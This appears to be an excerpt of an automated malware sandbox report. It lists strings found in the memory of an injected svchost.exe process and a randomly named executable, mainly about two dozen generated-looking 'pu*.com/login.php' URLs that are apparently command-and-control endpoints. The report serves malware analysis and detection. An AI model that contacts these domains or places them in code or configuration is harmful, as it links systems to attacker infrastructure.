Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumyxep.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2391261344.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153845839.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157288878.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157020892.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151605214.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194320231.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202674715.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152200523.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151945828.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157370436.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumyxiv.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153845839.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151605214.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152200523.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2733416103.00000000096C4000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2733416103.000000000968F000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009290000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000721000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.0000000008405000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2767328417.0000000008790000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2754881152.000000000843D000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2711620441.0000000008C6C000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000CAA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupybul.com/login.php
Source: svchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404361246.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupycag.com/login.php
Source: svchost.exe, 00000002.00000003.2772293102.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2783207555.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772917622.00000000033AF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupycop.com/H
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336690325.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupycuv.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupygel.com/login.php
Source: svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2753175286.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748730470.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2351137108.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupyjap.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupyjuv.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296191981.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupylaq.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246499612.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008646000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.0000000008644000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupylug.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321538396.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupymyp.com/login.php
Source: svchost.exe, 00000002.00000003.2385477507.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupyteg.com/login.php
Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupytiq.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupytyl.com/login.php
Source: svchost.exe, 00000002.00000003.2318282054.00000000008FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458870.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305813558.00000000008F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupywog.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupyxal.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2391261344.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384383810.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pupyxuq.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321367524.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320123040.0000000008611000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purybav.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3283281392.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151831540.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2156423614.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153845839.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151605214.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2167507417.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157083075.0000000000893000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152200523.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408435581.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157306310.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2733416103.00000000096C4000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009290000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2670340730.0000000009356000.00000004.00000001.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2767328417.0000000008768000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://purydyv.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purygeg.com/login.php
Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puryjeq.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393602354.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purylal.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purylup.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2764486074.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purymog.com/login.php
